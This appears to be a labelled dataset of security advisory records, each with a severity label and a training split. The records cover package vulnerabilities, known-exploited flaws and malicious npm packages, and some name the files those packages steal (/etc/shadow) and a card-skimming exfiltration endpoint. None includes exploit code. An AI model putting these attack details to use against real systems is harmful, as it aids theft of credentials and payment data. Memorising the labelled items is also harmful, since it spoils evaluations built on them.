-{"id": "85c792be77e432e56294", "text": "Malicious Package in malicious-do-not-install\n\nAll versions of `malicious-do-not-install` contain malicious code. The package copies the contents of `/etc/passwd` and `/etc/shadow` to files in the local `/tmp/` folder.\n\n## Recommendation\n\nRemove the package from your environment and rotate affected credentials.", "text_raw": "Malicious Package in malicious-do-not-install\n\n[Severity: CRITICAL]\n\nAll versions of `malicious-do-not-install` contain malicious code. The package copies the contents of `/etc/passwd` and `/etc/shadow` to files in the local `/tmp/` folder.\n\n\n## Recommendation\n\nRemove the package from your environment and rotate affected credentials.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c3f7186993b8da782588", "text": "TypeORM vulnerable to MAID and Prototype Pollution\n\nPrototype pollution vulnerability in the TypeORM package < 0.2.25 may allow attackers to add or modify Object properties leading to further denial of service or SQL injection attacks.", "text_raw": "TypeORM vulnerable to MAID and Prototype Pollution\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in the TypeORM package < 0.2.25 may allow attackers to add or modify Object properties leading to further denial of service or SQL injection attacks.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "f547ce4e7436ff9a10b9", "text": "Users can view database names in Apache Superset\n\nIn Apache Incubator Superset before 0.32, a user can view database names that he has no access to on a dropdown list in SQLLab", "text_raw": "Users can view database names in Apache Superset\n\n[Severity: MEDIUM]\n\nIn Apache Incubator Superset before 0.32, a user can view database names that he has no access to on a dropdown list in SQLLab", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-26", "split": "train"}
-{"id": "9418ca0072d18b543464", "text": "Observable Differences in Behavior to Error Inputs in Bouncy Castle\n\nIn Legion of the Bouncy Castle BC before 1.55 and BC-FJA before 1.0.2, attackers can obtain sensitive information about a private exponent because of Observable Differences in Behavior to Error Inputs. This occurs in org.bouncycastle.crypto.encodings.OAEPEncoding. Sending invalid ciphertext that decrypts to a short payload in the OAEP Decoder could result in the throwing of an early exception, potentially leaking some information about the private exponent of the RSA private key performing the encryption.", "text_raw": "Observable Differences in Behavior to Error Inputs in Bouncy Castle\n\n[Severity: MEDIUM]\n\nIn Legion of the Bouncy Castle BC before 1.55 and BC-FJA before 1.0.2, attackers can obtain sensitive information about a private exponent because of Observable Differences in Behavior to Error Inputs. This occurs in org.bouncycastle.crypto.encodings.OAEPEncoding. Sending invalid ciphertext that decrypts to a short payload in the OAEP Decoder could result in the throwing of an early exception, potentially leaking some information about the private exponent of the RSA private key performing the encryption.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "fb07d3b4e0234d37f79d", "text": "Cross-Site Scripting in sanitize-html\n\nAffected versions of `sanitize-html` do not sanitize input recursively, which may allow an attacker to execute arbitrary Javascript.\n\n## Recommendation\n\nUpdate to version 1.4.3 or later.", "text_raw": "Cross-Site Scripting in sanitize-html\n\n[Severity: MEDIUM]\n\nAffected versions of `sanitize-html` do not sanitize input recursively, which may allow an attacker to execute arbitrary Javascript.\n\n\n## Recommendation\n\nUpdate to version 1.4.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-16", "split": "train"}
-{"id": "5e593baf35c1c8c72a39", "text": "Read of uninitialized memory in cdr\n\nAn issue was discovered in Deserializer::read_vec in the cdr crate before 0.2.4 for Rust. A user-provided Read implementation can gain access to the old contents of newly allocated heap memory, violating soundness.", "text_raw": "Read of uninitialized memory in cdr\n\n[Severity: CRITICAL]\n\nAn issue was discovered in Deserializer::read_vec in the cdr crate before 0.2.4 for Rust. A user-provided Read implementation can gain access to the old contents of newly allocated heap memory, violating soundness.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "951d20e0cce66aca75ff", "text": "See https://nvd.nist.gov/vuln/detail/CVE-2017-0249 & https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0249", "text_raw": "High severity vulnerability that affects Microsoft.AspNetCore.Mvc\n\n[Severity: HIGH]\n\nSee https://nvd.nist.gov/vuln/detail/CVE-2017-0249 & https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0249", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "22007e58846582297dfb", "text": "Cross-Site Request Forgery in sqlite-web\n\nThis affects all versions of package sqlite-web. The SQL dashboard area allows sensitive actions to be performed without validating that the request originated from the application. This could enable an attacker to trick a user into performing these actions unknowingly through a Cross Site Request Forgery (CSRF) attack.", "text_raw": "Cross-Site Request Forgery in sqlite-web\n\n[Severity: HIGH]\n\nThis affects all versions of package sqlite-web. The SQL dashboard area allows sensitive actions to be performed without validating that the request originated from the application. This could enable an attacker to trick a user into performing these actions unknowingly through a Cross Site Request Forgery (CSRF) attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-09", "split": "train"}
-{"id": "193a54fd9dac9cb26245", "text": "Heap Based Buffer Overflow in libyaml\n\nVersions 0.2.2 and earlier depend on native libyaml version 0.1.5 or earlier. As such, they are affected by a heap-based buffer overflow vulnerability that may result in a crash or arbitrary code execution when parsing YAML tags.\n\n## Recommendation\n\n- Update to version 0.2.3 that includes a version of LibYAML that contains a fix for this issue.", "text_raw": "Heap Based Buffer Overflow in libyaml\n\n[Severity: CRITICAL]\n\nVersions 0.2.2 and earlier depend on native libyaml version 0.1.5 or earlier. As such, they are affected by a heap-based buffer overflow vulnerability that may result in a crash or arbitrary code execution when parsing YAML tags.\n\n\n\n\n\n## Recommendation\n\n- Update to version 0.2.3 that includes a version of LibYAML that contains a fix for this issue.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "86a994d37637e5f5d68f", "text": "Wrong type for `Linker`-define functions when used across two `Engine`s\n\n### Impact\n\nAs a Rust library the `wasmtime` crate clearly marks which functions are safe and which are `unsafe`, guaranteeing that if consumers never use `unsafe` then it should not be possible to have memory unsafety issues in their embeddings of Wasmtime. An issue was discovered in the safe API of `Linker::func_*` APIs. These APIs were previously not sound when one `Engine` was used to create the `Linker` and then a different `Engine` was used to create a `Store` and then the `Linker` was used to instantiate a module into that `Store`. Cross-`Engine` usage of functions is not supported in Wasmtime and this can result in type confusion of function pointers, resulting in being able to safely call a function with the wrong type.\n\nTriggering this bug requires using at least two `Engine` values in an embedding and then additionally using two different values with a `Linker` (one at the creation time of the `Linker` and another when instantiating a module with the `Linker`).\n\nIt's expected that usage of more-than-one `Engine` in an embedding is relatively rare since an `Engine` is intended to be a globally shared resource, so the expectation is that the impact of this issue is relatively small.\n\nThe fix implemented is to change this behavior to `panic!()` in Rust instead of silently allowing it. Using different `Engine` instances with a `Linker` is a programmer bug that `wasmtime` catches at runtime.\n\n### Patches\n\nThis bug has been patched and users should upgrade to Wasmtime version 0.30.0.\n\n### Workarounds\n\nIf you cannot upgrade Wasmtime and are using more than one `Engine` in your embedding it's recommended to instead use only one `Engine` for the entire program if possible. An `Engine` is designed to be a globally shared resource that is suitable to have only one for the lifetime of an entire process. If using multiple `Engine`s is required then code should be audited to ensure that `Linker` is only used with one `Engine`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)\n* Open an issue in [the `bytecodealliance/wasmtime` repository](https://github.com/bytecodealliance/wasmtime/)", "text_raw": "Wrong type for `Linker`-define functions when used across two `Engine`s\n\n[Severity: MEDIUM]\n\n### Impact\n\nAs a Rust library the `wasmtime` crate clearly marks which functions are safe and which are `unsafe`, guaranteeing that if consumers never use `unsafe` then it should not be possible to have memory unsafety issues in their embeddings of Wasmtime. An issue was discovered in the safe API of `Linker::func_*` APIs. These APIs were previously not sound when one `Engine` was used to create the `Linker` and then a different `Engine` was used to create a `Store` and then the `Linker` was used to instantiate a module into that `Store`. Cross-`Engine` usage of functions is not supported in Wasmtime and this can result in type confusion of function pointers, resulting in being able to safely call a function with the wrong type.\n\nTriggering this bug requires using at least two `Engine` values in an embedding and then additionally using two different values with a `Linker` (one at the creation time of the `Linker` and another when instantiating a module with the `Linker`).\n\nIt's expected that usage of more-than-one `Engine` in an embedding is relatively rare since an `Engine` is intended to be a globally shared resource, so the expectation is that the impact of this issue is relatively small.\n\nThe fix implemented is to change this behavior to `panic!()` in Rust instead of silently allowing it. Using different `Engine` instances with a `Linker` is a programmer bug that `wasmtime` catches at runtime.\n\n### Patches\n\nThis bug has been patched and users should upgrade to Wasmtime version 0.30.0.\n\n### Workarounds\n\nIf you cannot upgrade Wasmtime and are using more than one `Engine` in your embedding it's recommended to instead use only one `Engine` for the entire program if possible. An `Engine` is designed to be a globally shared resource that is suitable to have only one for the lifetime of an entire process. If using multiple `Engine`s is required then code should be audited to ensure that `Linker` is only used with one `Engine`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)\n* Open an issue in [the `bytecodealliance/wasmtime` repository](https://github.com/bytecodealliance/wasmtime/)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "1f67b4150b384e4cd241", "text": "iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure", "text_raw": "iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-10-29", "split": "train"}
-{"id": "75ff6808cf9704807900", "text": "Out-of-bounds Read in OpenCV\n\nIn OpenCV 3.3.1 (corresponding with OpenCV-Python 3.3.1.11), a heap-based buffer over-read exists in the function cv::HdrDecoder::checkSignature in modules/imgcodecs/src/grfmt_hdr.cpp.", "text_raw": "Out-of-bounds Read in OpenCV\n\n[Severity: HIGH]\n\nIn OpenCV 3.3.1 (corresponding with OpenCV-Python 3.3.1.11), a heap-based buffer over-read exists in the function cv::HdrDecoder::checkSignature in modules/imgcodecs/src/grfmt_hdr.cpp.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "503fda5addcf15a7c250", "text": "Malicious Package in bb-builder\n\nAll versions of `bb-builder` contained malicious code. The package ran an executable targeting Windows and uploaded information to a remote server.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bb-builder\n\n[Severity: CRITICAL]\n\nAll versions of `bb-builder` contained malicious code. The package ran an executable targeting Windows and uploaded information to a remote server.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "9f6ff9c44a5598e38db5", "text": "HPACK Denial of Service vulnerability (HPACK Bomb)\n\nA HTTP/2 implementation built using any version of the Python HPACK library between v1.0.0 and v2.2.0 could be targeted for a denial of service attack, specifically a so-called \"HPACK Bomb\" attack. This attack occurs when an attacker inserts a header field that is exactly the size of the HPACK dynamic header table into the dynamic header table. The attacker can then send a header block that is simply repeated requests to expand that field in the dynamic table. This can lead to a gigantic compression ratio of 4,096 or better, meaning that 16kB of data can decompress to 64MB of data on the target machine.", "text_raw": "HPACK Denial of Service vulnerability (HPACK Bomb)\n\n[Severity: HIGH]\n\nA HTTP/2 implementation built using any version of the Python HPACK library between v1.0.0 and v2.2.0 could be targeted for a denial of service attack, specifically a so-called \"HPACK Bomb\" attack. This attack occurs when an attacker inserts a header field that is exactly the size of the HPACK dynamic header table into the dynamic header table. The attacker can then send a header block that is simply repeated requests to expand that field in the dynamic table. This can lead to a gigantic compression ratio of 4,096 or better, meaning that 16kB of data can decompress to 64MB of data on the target machine.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "534385ed90ce3df236d1", "text": "Google Chrome FreeType Heap Buffer Overflow Vulnerability\n\nAffected: Google Chrome FreeType\n\nGoogle Chrome uses FreeType, an open-source software library to render fonts, which contains a heap buffer overflow vulnerability in the function Load_SBit_Png when processing PNG images embedded into fonts. This vulnerability is part of an exploit chain with CVE-2020-17087 on Windows and CVE-2020-16010 on Android.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chrome FreeType Heap Buffer Overflow Vulnerability\n\nAffected: Google Chrome FreeType\n\nGoogle Chrome uses FreeType, an open-source software library to render fonts, which contains a heap buffer overflow vulnerability in the function Load_SBit_Png when processing PNG images embedded into fonts. This vulnerability is part of an exploit chain with CVE-2020-17087 on Windows and CVE-2020-16010 on Android.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "79307a73b929af9278fb", "text": "Slanger Arbitrary command execution\n\nSlanger 0.6.0 is affected by Remote Code Execution (RCE). The impact is A remote attacker can execute arbitrary commands by sending a crafted request to the server. The component is Message handler & request validator. The attack vector is Remote unauthenticated. The fixed version is after commit 5267b455caeb2e055cccf0d2b6a22727c111f5c3.", "text_raw": "Slanger Arbitrary command execution\n\n[Severity: CRITICAL]\n\nSlanger 0.6.0 is affected by Remote Code Execution (RCE). The impact is A remote attacker can execute arbitrary commands by sending a crafted request to the server. The component is Message handler & request validator. The attack vector is Remote unauthenticated. The fixed version is after commit 5267b455caeb2e055cccf0d2b6a22727c111f5c3.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "af0c606d8f4f47f0bafb", "text": "Improper Certificate Validation in phpseclib\n\nphpseclib before 2.0.31 and 3.x before 3.0.7 mishandles RSA PKCS#1 v1.5 signature verification.", "text_raw": "Improper Certificate Validation in phpseclib\n\n[Severity: HIGH]\n\nphpseclib before 2.0.31 and 3.x before 3.0.7 mishandles RSA PKCS#1 v1.5 signature verification.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "eb7a9f9dd12f66157d6a", "text": "Free of uninitialized memory in autorand\n\nAn issue was discovered in the autorand crate before 0.2.3 for Rust. Because of impl Random on arrays, uninitialized memory can be dropped when a panic occurs, leading to memory corruption.", "text_raw": "Free of uninitialized memory in autorand\n\n[Severity: HIGH]\n\nAn issue was discovered in the autorand crate before 0.2.3 for Rust. Because of impl Random on arrays, uninitialized memory can be dropped when a panic occurs, leading to memory corruption.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "bbfa00c2921b05f943fd", "text": "JWT leak via Open Redirect in Programmatic access\n\n### Impact\nUsing programmatic access on protected sites, one can get a signed login URL with pomerium_redirect_uri set to an arbitrary URL. Then, if the user has already logged into Pomerium, they will be redirected to the specified pomerium_redirect_uri with a JWT attached. This allows an outside attacker to get a signed login URL that, upon visiting it, will redirect a victim to the attacker’s site. This creates an issue of Open Redirect and, more seriously, JWT leakage.\n\nWith a leaked JWT, the attacker will be able to unveil the victim’s identity (.e.g. email address) by supplying the JWT to the authenticate service or verify.pomerium.com. In addition, if an application integrating Pomerium only verifies the iss claim and others but not the aud claim, the attacker will be able to access it as the victim.\n\n### Specific Go Packages Affected\ngithub.com/pomerium/pomerium/proxy\n\n### Patches\nPatched in Pomerium v0.13.4\n\n### For more information\nIf you have any questions or comments about this advisory\n* Open an issue in [pomerium](http://github.com/pomerium/pomerium)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)", "text_raw": "JWT leak via Open Redirect in Programmatic access\n\n[Severity: MEDIUM]\n\n### Impact\nUsing programmatic access on protected sites, one can get a signed login URL with pomerium_redirect_uri set to an arbitrary URL. Then, if the user has already logged into Pomerium, they will be redirected to the specified pomerium_redirect_uri with a JWT attached. This allows an outside attacker to get a signed login URL that, upon visiting it, will redirect a victim to the attacker’s site. This creates an issue of Open Redirect and, more seriously, JWT leakage.\n\nWith a leaked JWT, the attacker will be able to unveil the victim’s identity (.e.g. email address) by supplying the JWT to the authenticate service or verify.pomerium.com. In addition, if an application integrating Pomerium only verifies the iss claim and others but not the aud claim, the attacker will be able to access it as the victim.\n\n### Specific Go Packages Affected\ngithub.com/pomerium/pomerium/proxy\n\n### Patches\nPatched in Pomerium v0.13.4\n\n### For more information\nIf you have any questions or comments about this advisory\n* Open an issue in [pomerium](http://github.com/pomerium/pomerium)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "703e4db96af4ae4903a1", "text": "Plone Open Redirect\n\nBy linking to a specific url in Plone 2.5-5.1rc1 with a parameter, an attacker could send you to his own website. On its own this is not so bad: the attacker could more easily link directly to his own website instead. But in combination with another attack, you could be sent to the Plone login form and login, then get redirected to the specific url, and then get a second redirect to the attacker website.", "text_raw": "Plone Open Redirect\n\n[Severity: MEDIUM]\n\nBy linking to a specific url in Plone 2.5-5.1rc1 with a parameter, an attacker could send you to his own website. On its own this is not so bad: the attacker could more easily link directly to his own website instead. But in combination with another attack, you could be sent to the Plone login form and login, then get redirected to the specific url, and then get a second redirect to the attacker website. ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "7f5c9fa8c1f95988b692", "text": "XMPCore in Adobe XMP Toolkit for Java before 5.1.3 allows remote attackers to read arbitrary files via XML data containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.", "text_raw": "Moderate severity vulnerability that affects com.adobe.xmp:xmpcore\n\n[Severity: HIGH]\n\nXMPCore in Adobe XMP Toolkit for Java before 5.1.3 allows remote attackers to read arbitrary files via XML data containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "8e4becae5a6727165db8", "text": "Qualcomm Multiple Chipsets Detection of Error Condition Without Action Vulnerability\n\nAffected: Qualcomm Multiple Chipsets\n\nMultiple Qualcomm chipsets contain a detection of error condition without action vulnerability when improper handling of address deregistration on failure can lead to new GPU address allocation failure.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-390\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Qualcomm Multiple Chipsets Detection of Error Condition Without Action Vulnerability\n\nAffected: Qualcomm Multiple Chipsets\n\nMultiple Qualcomm chipsets contain a detection of error condition without action vulnerability when improper handling of address deregistration on failure can lead to new GPU address allocation failure.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-390\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "18c4e39ead44cdf5f89f", "text": "Plexus anblick Digital Signage Management 3.1.13 (pagina param) Open Redirect", "text_raw": "Plexus anblick Digital Signage Management 3.1.13 (pagina param) Open Redirect\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2020-07-19", "split": "train"}
-{"id": "a5b088bf88b2e68ef39a", "text": "Validation Bypass in schema-inspector\n\nIn schema-inspector before 1.6.9, a maliciously crafted JavaScript object can bypass the `sanitize()` and the `validate()` function used within schema-inspector.", "text_raw": "Validation Bypass in schema-inspector\n\n[Severity: CRITICAL]\n\nIn schema-inspector before 1.6.9, a maliciously crafted JavaScript object can bypass the `sanitize()` and the `validate()` function used within schema-inspector.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "12e11091f83ab6bfbb5d", "text": "Certec EDV atvise SCADA server 2.5.9 Privilege Escalation Vulnerability", "text_raw": "Certec EDV atvise SCADA server 2.5.9 Privilege Escalation Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-05-08", "split": "train"}
-{"id": "ce5d72c9ce389ddc64a9", "text": "Forced Browsing in Twisted\n\nTwisted before 16.3.1 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect CGI applications from the presence of untrusted client data in the `HTTP_PROXY` environment variable, which might allow remote attackers to redirect a CGI application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an `httpoxy` issue.", "text_raw": "Forced Browsing in Twisted\n\n[Severity: MEDIUM]\n\nTwisted before 16.3.1 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect CGI applications from the presence of untrusted client data in the `HTTP_PROXY` environment variable, which might allow remote attackers to redirect a CGI application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an `httpoxy` issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "1c9bf906b8f4ff0d25b7", "text": "Improper Neutralization of Text-Values in Object Version Preview\n\nText-values were not properly escaped before printed in the version preview. This allowed XSS by authenticated users with access to the resources.", "text_raw": "Improper Neutralization of Text-Values in Object Version Preview\n\n[Severity: HIGH]\n\nText-values were not properly escaped before printed in the version preview. This allowed XSS by authenticated users with access to the resources. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "75c67afb6bb483f9deb9", "text": "Pallets Project Flask is vulnerable to Denial of Service via Unexpected memory usage\n\nThe Pallets Project Flask before 1.0 is affected by unexpected memory usage. The impact is denial of service. The attack vector is crafted encoded JSON data. The fixed version is 1. NOTE this may overlap CVE-2018-1000656.", "text_raw": "Pallets Project Flask is vulnerable to Denial of Service via Unexpected memory usage\n\n[Severity: HIGH]\n\nThe Pallets Project Flask before 1.0 is affected by unexpected memory usage. The impact is denial of service. The attack vector is crafted encoded JSON data. The fixed version is 1. NOTE this may overlap CVE-2018-1000656.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-19", "split": "train"}
-{"id": "323d8e0bbd9c3ad47d5a", "text": "MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability", "text_raw": "MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-12-06", "split": "train"}
-{"id": "6fb9900bf51b5fe260c0", "text": "Iris ID IrisAccess iCAM4000/iCAM7000 Hardcoded Credentials Remote Shell Access", "text_raw": "Iris ID IrisAccess iCAM4000/iCAM7000 Hardcoded Credentials Remote Shell Access\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-07-26", "split": "train"}
-{"id": "fc17c6dfccddc43af31d", "text": "Observable Discrepancy in Argo\n\nFixed in v1.5.1, Argo version v1.5.0 was vulnerable to a user-enumeration vulnerability which allowed attackers to determine the usernames of valid (non-SSO) accounts because /api/v1/session returned 401 for an existing username and 404 otherwise.\n\n### Specific Go Packages Affected\ngithub.com/argoproj/argo-cd/util/session\ngithub.com/argoproj/argo-cd/server/session", "text_raw": "Observable Discrepancy in Argo\n\n[Severity: MEDIUM]\n\nFixed in v1.5.1, Argo version v1.5.0 was vulnerable to a user-enumeration vulnerability which allowed attackers to determine the usernames of valid (non-SSO) accounts because /api/v1/session returned 401 for an existing username and 404 otherwise.\n\n### Specific Go Packages Affected\ngithub.com/argoproj/argo-cd/util/session\ngithub.com/argoproj/argo-cd/server/session", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "4e3fc2ee850e92c7f51d", "text": "Malicious Package in xoc\n\nVersion 1.0.7 of `xoc` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.7 of this module is found installed you will want to replace it with a version before or after 1.0.7. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.5", "text_raw": "Malicious Package in xoc\n\n[Severity: CRITICAL]\n\nVersion 1.0.7 of `xoc` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.0.7 of this module is found installed you will want to replace it with a version before or after 1.0.7. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.5", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "9d0a2ec26cdd13e6b542", "text": "Missing Origin Validation in parcel-bundler\n\nVersions of `parcel-bundler` before 1.10.0 are missing origin validation on the websocket server. This vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.\n\n## Recommendation\n\nUpdate to version 1.10.0 or later.", "text_raw": "Missing Origin Validation in parcel-bundler\n\n[Severity: HIGH]\n\nVersions of `parcel-bundler` before 1.10.0 are missing origin validation on the websocket server. This vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.\n\n\n## Recommendation\n\nUpdate to version 1.10.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-30", "split": "train"}
-{"id": "d5379824511521bc77ed", "text": "CSRF and DNS Rebinding in Oasis\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nIf you're running a vulnerable application on your computer and an attacker can trick you into visiting a malicious website, they could use [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) and [CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery) attacks to read/write to vulnerable applications.\n\n**There is no evidence that suggests that this has been used in the wild.**\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, 2.15.0.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nNo.\n\n### References\n_Are there any links users can visit to find out more?_\n\nNo.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fraction/oasis](http://github.com/fraction/oasis)\n* Email me at [christianbundy@fraction.io](mailto:christianbundy@fraction.io)", "text_raw": "CSRF and DNS Rebinding in Oasis\n\n[Severity: MEDIUM]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nIf you're running a vulnerable application on your computer and an attacker can trick you into visiting a malicious website, they could use [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) and [CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery) attacks to read/write to vulnerable applications. \n\n**There is no evidence that suggests that this has been used in the wild.**\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, 2.15.0.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nNo.\n\n### References\n_Are there any links users can visit to find out more?_\n\nNo.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fraction/oasis](http://github.com/fraction/oasis)\n* Email me at [christianbundy@fraction.io](mailto:christianbundy@fraction.io)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-16", "split": "train"}
-{"id": "a8b591f4593d855d800c", "text": "Improper Control of Interaction Frequency in Apache syncope-core\n\nA malicious user with enough administration entitlements can inject html-like elements containing JavaScript statements into Connector names, Report names, AnyTypeClass keys and Policy descriptions. When another user with enough administration entitlements edits one of the Entities above via Admin Console, the injected JavaScript code is executed.", "text_raw": "Improper Control of Interaction Frequency in Apache syncope-core\n\n[Severity: MEDIUM]\n\nA malicious user with enough administration entitlements can inject html-like elements containing JavaScript statements into Connector names, Report names, AnyTypeClass keys and Policy descriptions. When another user with enough administration entitlements edits one of the Entities above via Admin Console, the injected JavaScript code is executed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "67078e58fa6c3939832f", "text": "Arbitrary Code Execution in blazar-dashboard\n\nAn issue was discovered in OpenStack blazar-dashboard before 1.3.1, 2.0.0, and 3.0.0. A user allowed to access the Blazar dashboard in Horizon may trigger code execution on the Horizon host as the user the Horizon service runs under (because the Python eval function is used). This may result in Horizon host unauthorized access and further compromise of the Horizon service. All setups using the Horizon dashboard with the blazar-dashboard plugin are affected.", "text_raw": "Arbitrary Code Execution in blazar-dashboard\n\n[Severity: MEDIUM]\n\nAn issue was discovered in OpenStack blazar-dashboard before 1.3.1, 2.0.0, and 3.0.0. A user allowed to access the Blazar dashboard in Horizon may trigger code execution on the Horizon host as the user the Horizon service runs under (because the Python eval function is used). This may result in Horizon host unauthorized access and further compromise of the Horizon service. All setups using the Horizon dashboard with the blazar-dashboard plugin are affected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
